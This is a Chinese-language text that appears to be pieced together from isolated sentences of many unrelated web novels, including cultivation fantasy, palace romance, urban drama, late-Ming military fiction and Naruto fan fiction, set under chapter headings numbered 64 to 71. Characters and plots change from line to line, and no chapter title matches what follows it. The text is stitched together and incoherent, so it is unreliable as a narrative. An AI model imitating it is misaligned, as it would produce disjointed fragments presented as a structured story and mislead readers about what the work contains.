泡泡镜这个APP虽然已经成功完成,但并不代表着结束,反而却是新的开始,后续APP上线,推广什么的,还有一大堆的事情要做。
我不知道现在几点钟了,不过刚喝完酒,酒劲虽然过去,但头却很晕,洗个澡睡觉还是蛮舒服的,而且浑身的酒气闻着确实也不太好受。念及到此,我没再多想什么,跟着乐乐便走进了她的卧室。
“明白!”身后,齐齐地传来了士兵们洪亮的应声,震得还在云里雾里的姚铁和岩才一阵哆嗦。
这一刻穆西风眼中推演之芒闪烁,推演着周围一切景物,气息,渐渐的一幅活灵活现的画面出现在了穆西风脑中。
不到一分钟的时间,斯维特生活区里所有的恶魔全部被七彩漩涡吸收了,一只都不剩。
双方都没有做出下一步的动作,就这样相持了一阵子,反而是那个躲在一旁的村长第一个说话。
第一卷 第64章 冲突
方玄自然是打算让过去身修炼古法,想要尝试一下在这方世界成仙。
直到一个多月以后,素珍虽然依旧深度昏迷,但却已经度过了危险期。
跟随了段元杰那么长时间,他可是最清楚这位从中央天域下来的段公子,究竟有多厉害。
李霄也不勉强,知道几人还是有心结,或者是和风铃号鬼蜮有了某种牵绊,不知不觉就会不想离开。
鳞泷左近次戴着那副红色的天狗面具,他闷沉的声音从面具低下传来,同时也微微惊讶着。
但她没想到,在听到她回答那三个字之后,顾东的眼神骤然更冷了,仿佛她说了那三个字是多么罪无可恕似的,她干脆转开头,抿唇看着墙角一点虚无。
只是…葵枝已经很久没看到过有心思开玩笑,不那么沉稳平静的炭十郎了。
跟着陈寂然去了公司,所有人似乎都在忙碌着,唯独顾西西坐在陈寂然宽大明亮的办公室里喝咖啡。
我炯炯有神地看着张瑞然,直接忽略了他刚才那句“没安好意”。
说话之间方玄和弥宝一下跨入了虚空,消失在太上九清天之中,瞬息之间就不见了踪影,远远离开这个是非之地。
这样的事情挺叫人难为情的,周灵素不愿多说,只拿话去威胁杨蓁蓁,奈何杨蓁蓁不吃这一套,一个劲儿的往她身边蹭,拉着她撒娇,似是不说个所以然出来,便不肯放过她似的。
调兵不如练兵,也就朱由检能说这话。他现在基本上对练兵有了信心,从目前新军反馈的情况来看,从民间招兵有三月时间,差不多就能成型。说实话调来的勤王兵,很多还没有训练上三个月的新军靠谱。
“真羡慕殿下您,恐怕整个皇都之中,只有您觉得自己错了,会这么坦然的道歉。”其他人,甚至包括司徒颜哪怕觉得自己错了,道歉,对不起几个字都是难以说出口的。
有了离心机后,崇祯就让糖匠再做一遍黄泥提纯白糖的流程,到最后几步的时候停下来,把黄泥和糖浆的混合液倒进离心机,然后让力气大的铁匠,使劲搅合。
云涯的语气里委屈极了,说完还孩子气的狠狠的将茶杯里的水都喝完了,然后又眼巴巴的看着君言。
最让柳大强羡慕的是进了房子后相当热,不像乡下的房子,哪怕是生了炉子,到了冬天也冷嗖嗖的。
至于碧水柔等其他弟子更加不行了,短短百丈的路上就分布着数十名弟子,隔一段距离就能看到几个,要么在砥砺前行,要么在原地打坐调息。
她如实回答道,好像在我面前提起李承志很害羞,脸蛋更红了一分。
陆安想到这几天都没怎么见到宫紫秋,恐怕大腿也是因为这个事情,现在比较忙吧?
想依靠她这只有资料,只懂得有样学样,不会自己想的人太难了。
陈青川可能没料到我和陈丽娜也会在这,他一眼便看向坐在最中间的我们,我也看了他一眼没说话,便低下了头。
“你为什么这么说?他虽然是看起来是冷漠了一下,不过也不至于像你说的那样恐怖吧?”沈若柒想着或许可以从黎沐东这里套套话。
就在这时,罗钧发现,灵河大起变化,原先四围包裹的强悍无匹的水之力量渐渐消失,周遭,却是变成了浩浩晴空,飘渺灵云。俯瞰下方,却是无尽大岳,连绵起伏,内里,飞鸟穿梭,野兽竟逐。
等待,是一种无奈!如果可以的话,任谁恐怕也不愿意这般的等待,而想要主动的出击,去赢得一些先手。
我觉得有些眼熟,脑袋正发蒙时,我身子猛然一抖,这、这、这不是。
郑微见谢易双如此说,倒也不敢再说什么,只能止住话题,跟着谢易双离开。
此刻,他们四人走在最前方!他们的装扮也是最显眼的,赤焰道人戴束发金冠,着烈火道袍,穿了一双麻鞋。身高六尺,面似朱砂,五官奇特,腰佩双剑,背上还挂着蓝色的葫芦。
路克微笑着谢过,转身回去了,心中却嘀咕:那还不是你们把他选上去的么?现在他镇长都还当的好好的,就说明这韦德也不是没有支持者的,不然早被镇民罢免下台了。
七禽毒果收取完毕,两人自然不会多做停留。即刻间,便向萧逸告辞,化长虹而去。
李杪一直在关注着程俊宇,等她发现程俊宇离开时,百里枫跟陆郑也起身跟了出去,顿时着急了。
“不必多礼,且与吾去看看母亲!”羲皇道人也是一脸的纠结,自己老娘这雷厉风行的性子什么时候才能改一改?他们家又不是三清,犯不着天道的忌讳,分开住干嘛?
“总兵无需多虑,既然我都选择了就绝不会后悔。”陈继盛倒是连想都不想,就直接坚决言道。
无论是林非凡还是古雅,他们都站在原地没有动弹,刚刚发生的一切都是梦境。
眼神的交流在三人当中交换着,最终刘光祚很是无奈的出战,原因倒是很简单,因为目前他排行老三。陈继盛或者承祚都比他大,当碰到这样无法决断的事情时,便是摆身份与地位的时候,这也是三人常用的伎俩。
第一卷 第65章 为难
这顿饭,因着锦婳心情不爽,几个大男人连大气都没敢出。
吃完饭,锦婳又开始叮叮当当地收拾碗筷。
闪电般看向前方的火龙,亚汶就见那头火龙仿佛终于认真了起来,一声饱含龙族威压的吼叫之后,趁着己方阵法被打乱的间隙,开始伸展双翅高昂脑袋,做出要挣脱出蛛网束缚的模样来。
“我不是替方雅抱不平,也不是说这全是你的错,我也说了,我也有责任。”林霜就怕他这样,赶忙申明。
也许是走过一遍,了解了长廊的情况,澜玉与墨鎏身体瞬间腾空,向着来路急速飞出。
不过她之所以要提及是神灵让他们下来办事的,是想让萧元有所顾忌,不敢肆意对他们出手,说到底,萧元是敌是友还没有分辨清楚,自然得拿点有效的威慑力出来才行,不然以他们的实力,根本不是萧元的对手。
现在的冲天教主还不知道那冥龙角到底是在我身上还是在冥龙身上,或许他用试探的方式来找冥龙角的位置也有另外一层打算,不到万不得已他不想和冥龙彻底对立,只要冥龙角不在冥龙身上,他就不会和冥龙成为敌人。
等崔源的脚步声离得远了,初晴才从雅间里拉开房门,探出头来。她左右张望了一下,见四下无人,又轻轻关上了房门。
而五星和六星之间就不能跨越星级了,顶多是同星级里下品能够击杀上品。
纱木旻临时增加绿洲结界的覆盖范围,让结界能铺开覆盖到整个主城,以保护主城区的安全,各域强者纷纷在固定位置待定并且展开了防御,南荒城的防御塔也纷纷打开,摆出最高级别的防御架势。
一顿饭,大概只有秦朗真正的吃好了,齐蕊低着头闷头苦吃,假装看不到对面韩磊不经意的目光。
他们压力大,身体大多都处在亚健康状态,对于医生诊断后提出来的调养建议,他们会好不吝啬的去购买辅助用品来调养自己。所以凡是在这种活动中被推荐的品牌,都会让销售市场突破一个台阶。
“是!”御医退下,上官玉儿与皇甫秀华也由各自的宫中的人扶了下去。
刚进门,一个20来岁的服务生扯着嗓子喊了一声:“来了,两位里面请!”这一嗓子京腔还真好听。
不知道什么时候,林素衣发现自己原本静谧如水的内心,生起了莲花。
而这样的手段,是他们追踪的那个妖人不具备的,这说明暗中的那个敌人,是一个新出现的敌人。
庄少游跟秦岭一商量,不得不降低募兵标准,毕竟这些人是因为吃不饱所以发挥不出应有的实力,若是能吃饱饭,养上一两个月,战斗力肯定会大幅提升。
简单的四个字,让张天毅感受到了前后态度的差别。杨建雄留不住他,但也仅限这一次。
张天毅已经记不清这是第几次来到暗夜天堂了,这个曾经对他来说无所适从的地方到如今几乎跟来自己家后院没什么区别。
一直以来,他都知道神猿很强,但他一直没有机会尝试,后来他想了想,一来可能是自己实力不够,二来孙老可能不想让他对兽灵又太多的依赖,这样会降低自己的战斗力。
第一卷 第66章 借口
这饭菜虽比不上宫里的,但起码也混了个饱腹。
兰心、惠兰入宫为婢前都是身家清白的小官员家的庶女。
苏晨不禁感叹道,有无尽天河在,永恒天庭基本上是可以高枕无忧了。
虽然只是刹那的接触,可是那股恢宏的、庞大的、如天道般无可抗衡的浩瀚伟力令他为之骇然。
而赵云之所以能够出现在这里的原因,是徐庶对于刘璋的所请,说蛮族不开化,如此征赋税,恐怕会引起叛乱,必须要找一个能够有震慑力的人,便举荐了赵云。
“我怎么一肚子的假话了?我很真诚的好不好?”叶修一脸很无辜的表情说道。
选手席上,申屠鹰下意识的攥紧了拳头,刚才那等层次的攻击竟然让他有一种头皮发麻的感觉。
踏破铁血无觅处,透过光而映在营帐上的那个刺绣穿针的影子,让曹操刚刚在内心的那个想法立即印证。
刚刚出来的时候,我脑袋迷迷糊糊的,加之里面一片昏暗,当时并没有注意,祁琪是否还在里面睡着。
再往上一步,那是多少修行者毕生追求的梦想然而此时,我却是丝毫不为所动。
反观玉面狐狸,虽然在步步逼近,但速度非常之慢,可能也怕石头后面有什么危险吧。
又有半柱香的时间,一声钟鸣从虚空中炸响,声音悠远传遍了整个天门关。下一秒,一朵亩许的庆云突然从府衙中升起,悬在空中不断的流转着。
上官耀华心神一松,不由自主的顺着他力道,跌回座位,面上满是窘迫。
“那啥……你都不是知道我的长短了么?我也该知道你的深浅了。”我说出这句话的时候,心里不由得大骂自己禽兽,可是不知道为啥呢,反正我心里特别想说这句话,同时心里深处对某件事也是特别的期待。
其间两人又扯了些不大相干的话题。都说酒桌上是最好的谈话之地,只因酒能彻底令人打开话匣子,不论平时再沉默寡言之人,一旦到了酒桌上,几杯热腾腾的烧酒下肚,也会立时变得胆大起来。
毕坤、佟林等埋锅捡柴准备做法,袁彬那几个则去河边打水,顺便找点野菜、打只野鸡回来。
风里飘来股淡淡的血腥味,透着阵肃杀之气,这难以分辨是否由她所想而生,原先一级级分布在山上守门的弟子也不知去向,这更可见得情势有异,急得拔脚就向山上冲。
“乐天伦新来个营销副总,各部门经理搞了个接风宴,我顺便作陪,”潘明一简单的说了个大概。
“扑通”,坐回床上的动作很大,他的震惊,把他自己都惊骇住。
听着姨妈的话,我的心脏狠狠的颤抖了一下,暗叫不好,本以为姨妈没有发现,但还是被姨妈发现了。
而千叶那具尸体已经成为了一具鲜血横流的无头尸,而那颗头颅也带着惊恐不甘双眸瞪圆的神情,洒落在这冰冷的坟地。
骢毅的意识再次获得控制自己身体的主权的时候,骢毅发现他的脑袋里面好像多了些东西。
被这种人拦住……岳鸿宇下意识将脸往边上藏了藏,他觉得恶心。
第一卷 第67章 买地
林嫂子早就给锦婳联系好了几个要卖地的人家,离县家家户户有地,地多、人少,很多地都荒废了。
说到那一行人倒也听话,看见蒙雪就像耗子见了猫,一个个连滚带爬就往外面跑。
江云看着林晨,犹豫了一会儿。他不知道该怎么办。林晨失去了记忆。他不能就这么不管他。他只能让他先上场。
一声爆炸骤然响起,只见那苍狼随手一挡居然就将这道风刃给轻松破解了。最令人心惊的是,他的那只手臂竟是连一丝白痕都没有出现。显然,霍易扬的这一招对他来说就跟挠痒痒一样,根本没有什么威胁性。
所以就算不是为了别人,起码也算是为了自己,也为了自己的家人。
刚刚在她大脑神经要被欲\望支配的那一刻,她突然想起寒笙曾说的一句话。
众人听后被震惊的说不出话来,这时,墨阳忽然感觉自己的右后方有一丝异动,恶感就在这时,滚滚袭来,甚至让墨阳的鸡皮疙瘩都瞬间布满全身,那邪恶,危险的厌恶感。
“这跟你有什么关系?零寒,你未免太多管闲事。”司溯星视线冰冷。
看来,平时应该让墨阳多给刘染布置一些任务了。这是赵子茜的内心想法。
就在这时,房间内,头顶的灯忽然传来一声异响,房间一瞬间黑暗了下来。黑暗对墨阳影响不大,反正也看不见,但是对于刚刚苏醒过来的另外一个男人,所带来的恐惧,和心里的冲击瞬间被放大了不少。
一天玩下来,何婷很尽兴,也放得很开,到了最后,就连林枫都被何婷传染地跟着放开心玩起来,俩人可谓是玩得没心没肺。
“说得好!真希望你的本事也像你的嘴这样厉害!”海盗王基洛抚掌轻笑道。
“哈哈……你少用言语来激我,老子就喜欢这身打扮!今天的事情老子管定了,让我看看气神殿影卫的领到底有多强悍!”那黑衣人却丝毫不在乎神影的讥讽,哈哈一笑后说道。
和谷芳芳的清瘦苗条不同,肖兰显得丰满,雍荣华贵,举手投足,一派大家风范,尤其是说话,显然是经过多年历练的,语速不紧不慢,语气轻扬,语音悦耳。
过了二十分钟,终于看到了马特尔的身影,此时的他正坐在枝杆上打坐。我轻轻的走了过去。旺财很懂事,并没有发出任何声响,而是跟在我的身后,静静的走着。
或者干脆把老爸老妈的公司买下来?这样他们就不用这么辛苦了。
轰隆!蓬!紧接着,另一边也是传来一阵阵的爆炸声。则是黄袍人与另外两名‘洞’虚期巅峰的人‘交’上手了。而在另一边与秦龙‘交’手的那名白发大汉更是被秦龙一击给再次轰成了重伤。
这就是林枫的计划,他倒是没想到随便碰到个罪犯都是宋帮的人,这下好了,林枫自然要来一个祸水东引,祸害一下宋帮。
“我的堂弟,你的进步真是让我惊喜,也许司徒逸现在已经不是你的对手了!”慕容允赞赏道。
听到这是他从老金门买来的白金项链,其他人顿时惊呼一声,立刻热议起来。
第一卷 第68章 计策
我看见她的眼睛是睁着的,而且很亮,她看着某个地方,而后又看向了我,她慢慢的坐了起来。我此时看着她的样子,就像是普通人见鬼时的感觉,我有些惊恐的站在原地,不敢做任何多做。
听到这个消息,丁页子真心觉得这是她年底收到的最好的礼物,她先前还担心顾韵是要留在郝府过年的呢。
见田恬如此激动,田柔忍不住笑了起来,这一笑倒是让田恬那焦躁的心略微地平静了几分,她知道大姐不轻易笑的,若是像这般笑了,便是真的觉得开心,只是……她不明白这有什么好开心的。
此时的她不是那个不可一世高傲的凤凰,不是那个嬉笑怒骂放浪形骸的凤凰,而是一个敏感容易受伤的凤凰。
每晚合衣而拥已让他夜夜‘欲’火焚身,谁人会想到貌比潘安的七王爷轩辕夜竟然每到深夜便跑去冲凉水澡。
这一眼看得上官凤莫名其妙的,可是她总觉得不是轩辕夜,至于为什么,她也说不上来。
陆羽用一个超长的闭眼表示起点,然后把八个字母翻译成摩斯密码,依序用长短眨眼表示出来,中间用一次偏过头的动作来表示间隔。他如此反复三次之后,娜欧已经明白了他所持有的通关密码。
落天看了一眼周围,月光如水一般照‘射’着整个山崖中,周围的一切都清晰的可见。四周,没有任何树木,山崖也看不到出口,地面上除了一些干燥的木材和树叶以外,隐约还可以看见一些不知是什么动物的骨架。
“这个我怎会知道,不过这消息已经传出来有两三月的时间了,我们剩下的时间也就两年多了,可是我现在这实力完全无法担任仙主一位,我看我还是找到敖天仙主让他赶紧重新找个继任人吧!”龙千寻有些无奈的说道。
蓝云白了落天一眼,没好气的说道:“你就知道打击我?哼!”说完,向前放走去。
而阳老人之所以没动,就是为了防备林锐逃跑,也是为了不给后者太大的压力,否则几个照面下来,林锐铁定撒腿撤退。
“你是死神?”墨绿色的瞳孔之中,似乎在几秒之间,就已经山想过无数可能。
瘫坐在地上,夏雨压在他的身上,嘴里不断吐血,面色苍白无力。
可偏偏陈雪珊来亲戚连啪啪都不能啪啪,真是只能干看着流口水了。
我觉得有些冤枉,我一晚上才做了一次,早上也才一次,这怎么就要节制呢。
杨依和姗姗这才点了点头,随即我们也没有多话,肚子也确实饿了,我看着餐盒里的饭菜食欲大动,没一会儿,我们就吃好了,然后杨依和姗姗收着这餐盒,伶着就出去教室。
不过这一切疑惑都不重要,重要的是白志涛已经明确表示放弃那块地,重要的是高抬不高抬贵手她欧阳晴现在做不了主。
“好,我试试吧,不过这次之后,我与你们三家不再相欠,还要你们答应一个条件,前提是不管这件事成功或者不成功,你们都必须帮我做!”我想了想,这次没有再拒绝,因为我实在开不了口。
田燕儿看得尖叫,伍晨曦也如痴如醉,就连不懂音乐的莽子和上官鱼也被迷住了,唯独林锐苦涩地笑着,越是这个时候,浑身肌肉绷得越紧,警惕四周的同时也聆听柳冰那如仙音般的乐。
走过了有住宅区的地方之后,周围就变得有些荒凉了,不过路还是有的。
而后,他手一挥撤掉阵法,破空步施展到极致,朝着周越等人离开的方向追了上去。
“不用了陛下,找我来什么事,赶紧说吧,我赶时间。”百里登风笑着摆了摆手道。
赫斯克劳斯有些尴尬,因为他没有为索斯塔托斯的孩子们专门准备礼物。
整个草原之中的草都有齐胸的高度,此刻正随着风轻微的摆动,一副风吹草低见牛羊的和平景象。
一路上,陈潇也从贾仁口中得知,混元门中还有一位风水大师存在。
他们终于从那迷迷糊糊的状态下醒了过来,不少人更是意识到了自己的错误,赶紧向秦冥道歉。要不是许昌,他们也不会来这里捣乱了。
把幽州的水搅混,以吸引幽酀两州的注意力,陈铮便可低调无比的前往渔阳县,冒名顶替,继承渔阳候之爵位、家业。
回到家中陆玉花只是给他端饭来,一句也没有问起姜哲元怎么样了。在陆玉花心中,这就是一个陌生人。
在戴弗斯的眼中:这个斯巴达人身披鲜艳的猩红大氅,蓄着一般希腊人不常有的长发,粗犷的脸上不但有伤疤,还有蔑视一切的傲慢。
“没听安西塔诺斯说吗,这是演戏,又不是真正的战斗。看看那些兴奋的民众,戴弗斯可是在用这样的表演方式告诉他们,我们的英雄事迹!”旁边的安东尼奥斯低声批评阿明塔斯。
第一卷 第69章 兄弟
字字句句都是对她的关心,易掌珠缓和了神色,有些得意地看了风月一眼,可后者压根没看她,就粘着殷戈止,眼里满是爱慕。殷戈止走,她就亦步亦趋地跟着走,看起来可恶极了。
是的,就是这个誓言,让他在遭受骤然的炮击后依然靠着自己顽强的意志和丰富的作战经验,守住了阵地;靠着这个誓言,面对数倍于己的美军,他依然岿然不惧,灵活应用手中的各类装备给予美军一次又一次重大杀伤。
“你看到了,我能做到的,只有这些了。”郭芷瞳挑了挑眉,解释道。
叶尘梦一见沈绾绾情绪不对,生怕沈绾绾出事,于是也赶紧放下盘子瞪了三少和慕容和一眼,连忙追了出去。
司君昊面无表情的看着她的背影片刻,转过身来,大火收芡,然后把排骨和鸡翅摆进盘子里。
虽然是顶着总裁特别助理的身份上去的,但是却忙得连出喘气的机会都没有。更像是把所有打杂的事情都包揽了一样。
至于能搜到什么?从来没来过这里的张铁牛也不知道,看着明显是烧毁后又被酸雨腐蚀惨淡的各种破烂东西与满地的垃圾,就当是做老本行,翻破烂吧。
“姑娘,我们早就说过了,进去了,就不要想着再出来了,呆着吧。”放云七夕进去的那个大胡子许是猜测云七夕可能后悔了,好不幸灾乐祸。
我这次索性盘腿坐在地上将脸埋在冰冷的雪里痛哭起来,哭的撕心裂肺。
就连薄音是多久回来的我也不知道,他没有上床而是穿着军绿色的衬衫坐在桌边看一份资料,领口处还松了几颗扣子。
他心里原本就压着怒火,先前在府衙程峰告诉他萧子墨肯定查到了什么。
谭音闹来闹去的原因,就是担心他将公司给她。这话她也只能对她父亲说,因为即便是告诉谭音,她也不可能会相信。
但没人知道那些武器怎么弄来的,大家猜测可能前朝和南疆一直在准备这些。
他本来就二段,再加上高辛所注入的基因组织,这让苏勒本就根基深厚,觉醒起来比较容易。
宁静的夜晚,皮卡车不时有规律地摇晃着,发出嘎吱嘎吱的声音,播放着优美的音乐。
李英莲张口就要解释,结果刚说了半句“我对学生一视同仁的教”就发现不对了,八班是年级吊车尾,她都一视同仁的教了,怎么可能成绩还拉胯?
不仅如此,后面胡海想把水草丢回到水里,还被里面的蝎子蜇伤了。
临下课时,他打着了解学习进度的名义,把楚时叫到了英语办公室。
胡海看到这两条大鱼,还以为是姜篱在河里钓的,心不知道有多痛。
他的呼吸极度困难,他的头脑昏昏沉沉,可他凭借顽强的意志,一直坚持到了现在。
至于倒霉的西装青年李任,便是不幸地撞上枪口,也要谢谢对方挡在前面,不然被推开的很可能就是叶冰涵等人,不过谁让他先动了不纯洁的念头,并且吹牛说和赌场经理很熟呢。
众人一看,顿时愕然,心说:这和尚莫不是觉得距离太远炸着不舒服?贴身放着,更有带感?
一条好看又不缺少锻炼的手臂同样在空中微微颤抖着,佐助嘴角抽着,表情非常不自然。两个男人喂食的羞耻Play已经将屋内的气氛僵硬到了极点。
不好,男学生拉住同伴的手,不能让别人也陷入窒息的劫难,所有不善的东西由我一人承担就好,他压低声音说道。
可到了这个时候,局面已经好得不能再好了,贼匪四散奔逃,对车队没有一点的威胁,对贼人来说这车队就是追命的所在,离得越远越好。
现在想这些没有意义,来京都的任务已经完成,该到了回木叶的时候,中忍考试还在如火如荼的展开,也不知道鸣人佐助他们的情况是否和原著相同。
郑家兴也是第一次看到这种背面的牌,惊讶的想说什么,不过最终还是咽了回去。
天色渐渐黑下来,在白堡村和河边新村的外围都有很多篝火燃起,河边新村的多些,白堡村少些。
他是没太把希望放在鸿钧老祖身上的,不过既然有魏征在应该就没事了吧,这个高阶领主不愧是高阶领主,其精神力的强大,远远不是数值上的那点差距。
在瞳孔的核心处,隐约可以看到则是一个黑点,邢天宇微微一皱眉,那黑点立刻扩大,好像黑洞一样,占据了瞳孔大部分未知,他眼中的光芒立刻暗淡了不少,整个眼睛,就好像日食时的样子一样。
萧凡与九幽地狱三大阵法天才赌斗,他们身为萧凡下属和亲朋,自然要给萧凡去打气。
之前还能感受到星空深处战斗的动静,可现在呢,完全没有半点声响。
他知道宏鼎是故意不来相见的,但,到了人家的地盘,又能如何?
而下面的那些狼族们,本来一开始还在为他们的老大叫好,现在,他们却已经傻眼了,不知道说些什么好。
古塔夫本来是不需要管太多这些问题的,毕竟他没什么实权,只是名义上的君主,这都是当前政府该管的事。
“没办法,可我还没有准备好。”一想到运河的工期,司马季就头疼,难道第一轮大戏自己只能是一个打酱油的配角?
为了给自己民族留下一点好印象,司马季就不能太放飞自我,真把对南洋土人的手段用在这些国家身上,亲手制造黄祸论的源头。
随后冷哼一声,挥舞阿房天宫,阿房天空,直接上了天际,不断的开始吞吐能量,隐隐约约开始膨胀,竟然也要突破半不朽的界限,成为不朽了。
第一卷 第70章 心意
林雪柔立刻打开查看,当看到了其中的内容,脸色微微一变,表情一言难尽。
莫萱儿与红云子的表现一样,摇着头叹了口气,不过李沫儒却说这样的结果自己已经很知足了,还有机会继续修道。
梦惊澜抓狂,这到底是怎么回事?这莫名其妙的感觉到底是从何而来?
楚江王一边说一边上马,李沫儒和莫萱儿也上马朝泰山王离开的方向追去。
紧接着,电闪雷鸣!狂风呼啸着卷起一片风沙,半空中的黑洞开始扭曲。
今天她也是需要去参加比赛的,到时候可不能因为这件事,到时候连累了她自己。
他从床上,慢慢爬了出来,虽然毒已经解了,但是现在功力还没有完全恢复。
摄政王当着皇上的面也是毫无收敛的,这一些嘲讽的话张口就来。
这么多年,他终于再次自称本帝,而这个称呼,印证了东皇绝他们之前的猜测。
这么强大,那他先前怎么不出手杀了他?还让那个死丫头追了他一路?
用着别人的名字过着别人的生活的日子,很不好受,这……不是我想要的。
不知过了多久,他猛然就听到不远处有沙沙的响声,似乎是外面的风声,似乎又不是。
每次来的时候,她都会坐在那里,我便也懒得让她去沙发上坐下。
可我考虑到一旦暴露了身份,查探塞外逆党的事情就无法进行下去了,而且我对大漠西域的路径颇为熟悉,也有信心带你们脱困,故而才一直没有跟你们讲明。
陈云看着背对着自己的身影,也是松了口气,不管是谁,是他救了我。
李纪珠顿时就停了,看起来其实还是真哭了,不过眼泪不多。她怔怔看着沈春华,神色复杂。
“呃…”被雷兽这么一说,陈云顿时语塞,没什么可反驳的。的确,自己都死过一次了,怎么还能跟以前一样呢。
皱着眉抬头,我心中一阵错愕,理拉德原本不是这么多疑的人,既然决定重用二人,那么平时的决策和行动应该都不会瞒着他们才对。
“。。擦,你又撒谎了,这明明就是个缺心眼,你非说是精神病!”赵旭顿时不满的冲马勇嘀咕了一句。
“老大,我给您请了病假,你就安心的这这里养伤吧,”张敦有些憨厚的说道,对李浩心里由衷的感激,这是一个没有架子,为朋友两肋插刀的老大。
这里是宫苑,卢渊可是大臣。宫苑里发生的事他理所当然的应该知道?
如果是秦鱼,一定会慢条斯理挑出对方一句话里的所有陷阱以羞辱他。
庞谢和迪恩、山姆则紧随其后,跟着贝鲁格特一起往城堡外面走去。
照片是用九宫格的方式排列的,两人的合照放在中间,四周的是美食的照片。
李浩听到他这个建立,脸上露出狂喜的神色,一拍桌子说道:“这么简单的解决办法,我怎么在开始时没有想到。
吴昊坐在她身边,很安静,偶尔会传来按键盘的声音,她不知道他是不是在和人发短信,但她感觉他就是在发短信,而且是和那个“李总”发。
前世萧桓很少在她面前发呆的,偶尔走神,他也是在想事情,今生倒在她面前没有前世那样的防备,偶尔还会露出一些真实的情绪。
“那一个型号耐用,又想实用,又想耐用。这个完全不可能。我们是做不到。”毕野摇头说道。
从池州到YN省,足足有几千公里,开车肯定是不行了,需要坐飞机。
艰难到它晦涩的咒语从秦鱼嘴里吐出后,她体内的魔法能量正以可怕的速度减少。
在其他之前所经历的其他星系星球中,就有着不欢迎其他星球人到来,甚至禁止其他星球人到来的行星存在。
“有话好说?哼!那些天魂冬草在哪儿?”三尾满目凶光的问道。
外面,除了刚开始被打的措手不及有些慌乱之后,随着防护罩打开,他们这方剩下的战舰开始反击了。
袁朗心中揶揄了一番,然后大步往自己的统帅军帐走去,因为他知道,那里一定已经有人得了自己回营的消息,已经在那等着自己了。
对着面板完全新式武器的最后调试,我梦在驾驶座上坐好探出双手紧握住操纵杆,一脸正色的对着通讯频道内堤队长回应道。
林清泉拉着胖老头挤出了混乱,老头儿跑得气喘吁吁的,一脸劫后余生。
只是弹了几个音符,可婼华却弹得十分吃力,形容狼狈,嘴里点点红丝沁出,一滴一滴地渗进了古琴里。
说完这话,紫头发觉得还差点火候,因此他鼓足勇气伸出手,想在脚镣犯人的脸上拍两下来提升效果。
一阵青色光芒的闪烁中,一位身着青色长袍的老者缓缓地出现在了叶梵天的面前,那随苍老但是却显得风神如玉的姿态,那超凡脱俗的气质以及那种关爱的笑容不是师尊青玄子又是谁?
七曜神皇仿佛是一只被踩到了尾巴的野猫一般,大声的怒吼起来。
“你……你什么时候出来的,我们的谈话你听到了多少?”李宗裕咬牙启齿的问道。
第一卷 第71章 惠兰之死
此时,冷无尘一脸的冷毅,浑身散发着寒意让他看起来像一块千年不化的寒冰,使得整个王府都陷入了无限的压抑中。
领导在上面唾沫横飞,陈翰却没心思听了,她还在想着韩歌的事情。
“是我的两个干姊妹,一个叫卿卿,另一个叫慕容雪。卿卿给我一个班,让慕容雪就当我音乐老师吧。”李大牛回道。
“对了对了!你不是说要看看梅丫头吗?梅丫头可在?”康熙听着德妃的软言哝语,突然想起来此的目的,扬声问道。
在这个当口,假沉香一击不中,便又利落的拔出魔剑,对着一旁的凤于飞紧逼过去,可惜,他还是错过了最好的时机,无双,莫名和影已然赶到,假沉香见状也并不恋战,虚晃一招,马上向着王府外掠去。
“易楼主掌管一楼事务繁多,如今我已经醒了,请楼主去忙自己的事吧!”林涵溪冷着一张脸,低眸不去看他。
“是的!”看着木惜梅脸闪的震惊,翠梅扬起眉,她确实也曾经怀疑过这个事情,再三查证的结果都是这个,这只能说明姓木的老头是越老越没头脑了。
“没什么太好的效果,她还是坚持原先的想法。”赵倾城轻声道。
她能火,只是背后有人包装炒作的好罢了,而且还有一定的运气。当然,也不能否认她确实具备一定的基本实力。
“听闻秦迅将军近日不在京城,否则今晚的夜宴他怎会不出席?先容我想一想,改日清影可以到府上坐坐,我们再另行商量,如何?”计谋早已生于胸,只是此时不方便多讲,这皇宫隔墙有耳,说不定谁派来的探子便在身边。
毕竟,他即便可以脱困又能如何?面对十尊界道强者,他这个只有半步界道修为的存在,根本无力回天。甚至他突破界道境界,也无济于事。
林枫慢慢走到艾札特的身边,这时候艾札特刚好结束了一局,看他春风得意的样子,应该是在这些家伙身上赢了不少,可能已经把刚才的支出给赢回来了,真没有想到艾札特在赌博方面还有这样的实力,真是要让人佩服。
“我知道他是你父亲,要不然我也不会和他这样客气了,人类怎么了?魔族又怎么了?为什么咱们就不能在一起。”魔向天都撕破脸皮了,林枫还有什么好顾忌的,至于说服魔向天,林枫知道要慢慢来。
我也不知道今天是哪儿来的这么大的动力,就好像是我已经确定今天自己已经活着回不去了一样。脑子里更是不明白我为什么一言不合就是要把东西扔给陈平森是什么意思。
徐志灵的脸上依旧洋溢着一抹笑容,自己来此的目的没有达到,怎可轻易就走?她没有理会昭宁,反而一摇一摆地来到了椅子面前,毫不客气地坐了下来。
任固看了袁沛一眼,换句话说,他们联军近八千人的兵力,居然被朱允三千多人吓得是蜷缩在南河城了,不敢出动,另外也解释了为何奋威军为何占据了主动之后为何不主动进攻的问题,因为对方压根就不是联军的对手。
在凝聚了这块魂牌后,萧锋这才缓缓睁开了眼眸。睁开眼眸后,萧锋不由得苦笑一声。
柳飘飘说完从来不说二话的,手下人就不敢再说什么了,然后慢慢地退下去,柳飘飘深吸一口气,好像是什么都没有发生过的一样,转眼又跟冬儿玩起来了。又是那个慈祥,善良,漂亮的母亲的形象。
在刘禄的要求下,现在刘家上下的人,都是以刘扬的官职来称呼他,以他唯马首是瞻。
此时,无数的目光都是火热无比的望着战帝。只要战帝还在一日,他们的希望就不会熄灭。
两人到家后,各自去了卫生间洗漱,而后便回到房间,准备休息。
眼里怪物动作变慢,看着扑来的黑色怪血红的眼睛,查太飞激灵灵打个冷颤。脑海中闪过一副画面,怪物一把抓住他双手,嘴巴朝着他脖子咬来。
一连串的问题,问的导演愣了神,支支吾吾片刻,楞生没有办法从口中说出一眼半语来,最终讪讪到。
他并没有直接回应季夫人的话,而是视线跟着时初钻到了桌面底下,用脚踩住了时初手上的纸巾。
今年不给这位同学搬个什么国际奖项,都对不起这位同学的演技。
沈轻寒眨巴着眼睛伸手挠挠下巴,视线隐晦看了身边的贺兰砜一眼。
虽然她的公司,也是市值几百亿,但和罗家比起来,简直什么都不是,还是远离一点为好,毕竟自己公司在业务上,还要指着罗家生存。
这到说得过去。侦查兵负责探路,探查前方情况,必然会了解到一些作战部署。
